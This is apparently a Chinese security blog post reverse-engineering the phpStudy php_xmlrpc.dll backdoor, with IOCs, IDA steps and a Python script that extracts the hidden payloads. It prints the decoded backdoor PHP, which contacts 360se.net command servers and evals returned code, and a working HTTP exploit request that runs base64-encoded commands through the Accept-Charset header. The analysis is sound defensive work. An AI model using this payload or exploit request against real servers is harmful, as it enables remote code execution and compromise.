phpStudy后门简要分析

问题概要

   有问题的版本如下

phpStudy20180211版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll

phpStudy20161103版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll

注:这两个官网下载的版本里,都没有发现php5.3版本下存在有问题的php_xmlrpc.dll,打开时会提示存在pdb路径信息。

字符串搜索无发现

2.jpg

来源

777.jpg

环境准备

本次使用的是之前下载安装在本地的phpStudy20180211官网版本

官网下载地址

phpStudy 2018版本下载及更新日志 – phpStudy交流社区

https://www.xp.cn/wenda/406.html

从官网下载环境发现此时已修复,当然我几年前本地就已经下载好了2016版本,唉,发现早就是他人的肉鸡了。

3.jpg

这两个官网下载文件,已本地检查过对应的组件,已经修复了,但是hash却与页面给的不同,保留的下载页面如下:

4.jpg5.jpg6.jpg

本地算下hash后进行对比,发现2018版是不对的,但本地解压安装后,查对应的组件发现没有问题,很奇怪。

7.jpg

几年前下载的存在问题的2016版本hash如下,与上图官网提供的明显是不同的:

8.jpg

事件源头

这次事件最早由@黑鸟报告,链接如下:

http://mp.weixin.qq.com/s?__biz=MzAxOTM1MDQ1NA==&mid=2451177600&idx=1&sn=55dc51c5cd6be6d65949fca5772a88f1&chksm=8c26f659bb517f4fc9fff43009d54f409b138fd838f905890938d97d7f71cd016153cb638f32&mpshare=1&scene=1&srcid=&sharer_sharetime=1569389574326&sharer_shareid=050fef71c2c8c2cd7ebc8d5cccf6b556#rd

当晚,Chamd5安全团队深夜发布了文章,简要分析了后门的具体来源点。链接如下:

http://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247486008&idx=1&sn=995591a77579e4cb693f705361961efa&chksm=e89e22e0dfe9abf659db08fd76f1ce6905e8d76fd6ededd591a27c0e3e80f778eaa8edbe68b9&mpshare=1&scene=1&srcid=0925rOv2YGtsD6Gh6YsmYXPK&sharer_sharetime=1569389775787&sharer_shareid=050fef71c2c8c2cd7ebc8d5cccf6b556#rd

这里简单分析了自己之前早就已经安装在本地的官网的php5.4.45版本下的php_xmlrpc.dll组件,本着动手实(复)践(现)学(工)习(程)的(师)想法,本文就记录一下分析过程。首先是从之前已经下载好的压缩包里选择20180211压缩包,自解压安装后在本地文件夹里选择php5.4.45,在ext文件夹扩展里找到php_xmlrpc.dll。此时先不急着分析,上传下VT查看下结果。

9.jpg

10.jpg

目前只有一家引擎对该组件进行了标记,第一次本地使用IDA打开的时候并没有任何关于pdb信息的提示,只有在官网发布的已编译成二进制文件的dll里,打开时才会提示存在pdb信息。

C:\php-sdk\php54dev\vc9\x86\obj\Release_TS\php_xmlrpc.pdb

11.jpg

这里给一下该组件的IOC信息如下:

MD5:c339482fd2b233fb0a555b629c0ea5d5

SHA-1:111abc2e79bf39357152b297213ee43f93ef9f81

SHA-256:8f2874e38e5e2d0a3368690badf75a6af8f848d8a976a357499a7c9050c70e04

查一下创建时间:2015:09:02 18:17:43+02:00,可发现后门作者对此时间戳进行了伪造,因为该后门是直接修改源代码后自行编译生成的dll,但把pdb给去掉了…….很奇怪,按理可以伪装一下。

12.jpg

使用010Editor 查看此PE文件,发现该文件的CRC校验值为0,很可疑。通过对比php官方发布的二进制文件可以发现是存在CheckSum值的。

13.jpg14.jpg

按照其余文章的步骤,首先是要确定恶意代码的位置。IDA打开该dll后,通过查找字符串列表,接着筛选出eval字符(注:eval() 函数把字符串按照 PHP 代码来执行)就可找到实际后门代码位置。

15.jpg

接着按下x交叉引用,可找到具体代码点。

16.jpg18.jpg19.jpg

按F5生成伪代码,如图
20.jpg21.jpg

spprintf函数是php官方自己封装的函数,spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42); //v42为缓冲区等于@eval(gzuncompress(‘,27h,’v42′,27h,’)); 实际是实现字符串拼接功能

通过找eval关键词可发现多处存在,第一处spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);第二处spprintf(&v41, 0, aEvalSS, aGzuncompress, v41);

恶意代码存在变量v41、v42里,在此处往上回溯该变量,发现对该变量进行了处理。

v11 = asc_1000D028;    while ( 1 )    {      if ( *(_DWORD *)v11 == 39 )      {        v8[v10] = 92;        v41[v10 + 1] = *v9;        v10 += 2;        v11 += 8;      }      else      {        v8[v10++] = *v9;        v11 += 4;      }      v9 += 4;      if ( (signed int)v9 >= (signed int)&unk_1000D66C )        break;      v8 = v41;    }

其中1000D028-1000D66C(偏移D028-D66C)这段地址的值很可疑,打开010Editor进行查看下。发现该段内容处于.data区域。

22.jpg23.jpg

每个值占4个字节, 为dword类型。这里的逻辑是将该段数据处理成char类型后,使用php中的gzuncompress对其解压,接着使用eval执行该脚本内容。接着看第二处恶意代码,spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42); 往上回溯,发现unk_1000D66C-unk_1000E5C4(偏移D66C-E5C4)这段内容是会被处理的,之后会赋给v42,所以这段内容也是需要注意的。

25.jpg

提取并解压这两段内容的脚本如下,该脚本来源于微步在线分析文章,很好用,不重复造轮子了。

http://mp.weixin.qq.com/s?__biz=MzI5NjA0NjI5MQ==&mid=2650165920&idx=1&sn=ac45922b6cf1db0f3d3cf0a10872be06&chksm=f448a91cc33f200a32cdbd01535e227a4a81cd3ce843992e410d0e4d5b772914d1ac3d6324fe&mpshare=1&scene=1&srcid=&sharer_sharetime=1569082336079&sharer_shareid=050fef71c2c8c2cd7ebc8d5cccf6b556#rd

# -*- coding:utf-8 -*-    # !/usr/bin/env python    import os, sys, string, shutil, re    import base64    import struct    import pefile    import ctypes    import zlib    # import put_family_c2    def hexdump(src, length=16):        FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)])        lines = []        for c in xrange(0, len(src), length):            chars = src[c:c + length]            hex = ' '.join(["%02x" % ord(x) for x in chars])            printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.')                                 for x in chars])            lines.append("%04x  %-*s  %s\n" % (c, length * 3, hex, printable))        return ''.join(lines)    def descrypt(data):        try:            # data = base64.encodestring(data)            # print(hexdump(data))            num = 0            data = zlib.decompress(data)            # return result            return (True, result)        except Exception, e:            print(e)            return (False, "")    def GetSectionData(pe, Section):        try:            ep = Section.VirtualAddress            ep_ava = Section.VirtualAddress + pe.OPTIONAL_HEADER.ImageBase            data = pe.get_memory_mapped_image()[ep:ep + Section.Misc_VirtualSize]            # print(hexdump(data))            return data        except Exception, e:            return None    def GetSecsions(PE):        try:            for section in PE.sections:                # print(hexdump(section.Name))                if (section.Name.replace('\x00', '') == '.data'):                    data = GetSectionData(PE, section)                    # print(hexdump(data))                    return (True, data)            return (False, "")        except Exception, e:            return (False, "")    def get_encodedata(filename):        pe = pefile.PE(filename)        (ret, data) = GetSecsions(pe)        if ret:            flag = "gzuncompress"            offset = data.find(flag)            data = data[offset + 0x10:offset + 0x10 + 0x567 * 4].replace("\x00\x00\x00", "")            decodedata_1 = zlib.decompress(data[:0x191])            print(hexdump(data[0x191:]))            decodedata_2 = zlib.decompress(data[0x191:])            with open("decode_1.txt", "w") as hwrite:                hwrite.write(decodedata_1)                hwrite.close            with open("decode_2.txt", "w") as hwrite:                hwrite.write(decodedata_2)                hwrite.close    def main(path):        c2s = []        domains = []        file_list = os.listdir(path)        for f in file_list:            print f            file_path = os.path.join(path, f)            get_encodedata(file_path)    if __name__ == "__main__":        # os.getcwd()        path = "php5.4.45"        main(path)

运行后会生成两段解压后的数据,不过此时的数据已经base64编码过。

26.jpg

27.jpg

base64解码如下:

@ini_set("display_errors","0");error_reporting(0);$h = $_SERVER['HTTP_HOST'];$p = $_SERVER['SERVER_PORT'];$fp = fsockopen($h, $p, $errno, $errstr, 5);if (!$fp) {} else {    $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";    $out .= "Host: {$h}\r\n";    $out .= "Accept-Encoding: compress,gzip\r\n";    $out .= "Connection: Close\r\n\r\n";    fwrite($fp, $out);    fclose($fp);}

28.jpg

base解码如下:

@ini_set("display_errors","0");error_reporting(0);function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){    $result = "";  $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);  if( !$handle ){    $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);    if( !$handle ){        return "err";    }  }  fwrite($handle, $sendMsg."\n");    while(!feof($handle)){        stream_set_timeout($handle, 2);        $result .= fread($handle, 1024);        $info = stream_get_meta_data($handle);        if ($info['timed_out']) {          break;        }     }  fclose($handle);  return $result;}$ds = array("www","bbs","cms","down","up","file","ftp");$ps = array("20123","40125","8080","80","53");$n = false;do {    $n = false;    foreach ($ds as $d){        $b = false;        foreach ($ps as $p){            $result = tcpGet($i,$d.".360se.net",$p);            if ($result != "err"){                $b =true;                break;            }        }        if ($b)break;    }    $info = explode("<^>",$result);    if (count($info)==4){        if (strpos($info[3],"/*Onemore*/") !== false){            $info[3] = str_replace("/*Onemore*/","",$info[3]);            $n=true;        }        @eval(base64_decode($info[3]));    }}while($n);

恶意代码处于sub_100031F0函数中,在上面发现的两段内容的基础上往上分析,spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);该代码如果要被执行,首先if ( !v12 )的条件需要满足,接着看v12 = strcmp(**v34, aCompressGzip);说明有对该硬编码的字符串有比较。”compress,gzip”,再往上是一个else语句,查一下if语句里的内容。这里的判断逻辑是如果查找到相应的变量后,这里是判断是否存在HTTP_ACCEPT_ENCODING字段,$_SERVER['HTTP_ACCEPT_ENCODING'] 为当前请求的 Accept-Encoding: 头信息的内容。例如:“gzip”。如果存在就判断字段值是否是gzip,deflate,如果也存在就判断是否存在HTTP_ACCEPT_CHARSET字段 $_SERVER['HTTP_ACCEPT_CHARSET']  当前请求的 Accept-Charset: 头信息的内容。例如:“iso-8859-1,*,utf-8”。如果也存在的话就接着取HTTP_ACCEPT_CHARSET字段值,对该值进行base64解码,调用zend_eval_string(v40, 0, &byte_10012884, a3);// 后门代码执行。以上是真的情况,如果上面的判断结果为假,则直接跳过,来到v12 = strcmp(**v34, aCompressGzip);对其判断,如果字符比较相等就继续执行下面的unk_1000D66C-unk_1000E5C4(偏移D66C-E5C4)这段内容调用spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);

注:zend_hash_find()函数是查找变量, https://www.kancloud.cn/fage/phpbook/336297  zend_eval_string会将v40变量的内容作为php脚本执行

29.jpg

如果上图中第一个if判断的结果为假,则直接跳转到下面执行。原理一致如上面一样,同样是对一段硬编码在.data的数据进行处理后,解压后base64解码,调用zend_eval_string执行php脚本。

30.jpg31.jpg

鉴于C2服务器已经失活,看不懂效果,但有一个远程代码执行的功能可以演示,来源于zend_eval_string(v40, 0, &byte_10012884, a3);// 后门代码执行。

本地演示

首先是运行并启动存在问题的版本

32.jpg

exp如下,来源于文末参考文章:

GET / /1.1Host: 127.0.0.1Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Encoding:gzip,deflateAccept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw==Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: close

system(“net user”);经base64编码后为c3lzdGVtKCJuZXQgdXNlciIpOw==,直接构造该请求,需要两个换行,不然会一直处于等待的状态,没有响应。依据逻辑还需要注意的是Accept-Encoding字段值必须为gzip,deflate,才能去判断是否存在Accept-Charset字段,接着取该字段的值,base64解码后执行,造成了远程代码执行,执行了system(“net user”);。

33.jpg34.jpg

参考

http://mp.weixin.qq.com/s?__biz=MjM5MTA2ODg0MA==&mid=2650697352&idx=1&sn=cd3e5bf51082a6815bda10e4d4c7683f&chksm=beb1e94f89c660596572b8dd0f91d6926040eaca946a02a2b7eefa393fffc9365f4afac2f315&mpshare=1&scene=1&srcid=&sharer_sharetime=1569071754991&sharer_shareid=050fef71c2c8c2cd7ebc8d5cccf6b556#rd

http://mp.weixin.qq.com/s?__biz=MzAxOTM1MDQ1NA==&mid=2451177600&idx=1&sn=55dc51c5cd6be6d65949fca5772a88f1&chksm=8c26f659bb517f4fc9fff43009d54f409b138fd838f905890938d97d7f71cd016153cb638f32&mpshare=1&scene=1&srcid=&sharer_sharetime=1569389574326&sharer_shareid=050fef71c2c8c2cd7ebc8d5cccf6b556#rd

http://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247486008&idx=1&sn=995591a77579e4cb693f705361961efa&chksm=e89e22e0dfe9abf659db08fd76f1ce6905e8d76fd6ededd591a27c0e3e80f778eaa8edbe68b9&mpshare=1&scene=1&srcid=0925rOv2YGtsD6Gh6YsmYXPK&sharer_sharetime=1569389775787&sharer_shareid=050fef71c2c8c2cd7ebc8d5cccf6b556#rd

http://mp.weixin.qq.com/s?__biz=MzI5NjA0NjI5MQ==&mid=2650165920&idx=1&sn=ac45922b6cf1db0f3d3cf0a10872be06&chksm=f448a91cc33f200a32cdbd01535e227a4a81cd3ce843992e410d0e4d5b772914d1ac3d6324fe&mpshare=1&scene=1&srcid=&sharer_sharetime=1569082336079&sharer_shareid=050fef71c2c8c2cd7ebc8d5cccf6b556#rd

http://mp.weixin.qq.com/s?__biz=MzU4OTExNTk0OA==&mid=2247483837&idx=1&sn=2a645ea812f574c8bbafa7aed43450b2&chksm=fdd326fecaa4afe82478acc2f7f75a909e04dffc88d596473c86699941dbd60bd09d6f0d9c76&mpshare=1&scene=1&srcid=&sharer_sharetime=1569463412259&sharer_shareid=050fef71c2c8c2cd7ebc8d5cccf6b556#rd

启发

最后有一点感受,以后对于从业人员经常使用的工具,最好是对其逆向分析做彻底的检查,避免此类事件发生。

   *本文作者:漏洞盒子


发表评论 取消回复

电子邮件地址不会被公开。 必填项已用*标注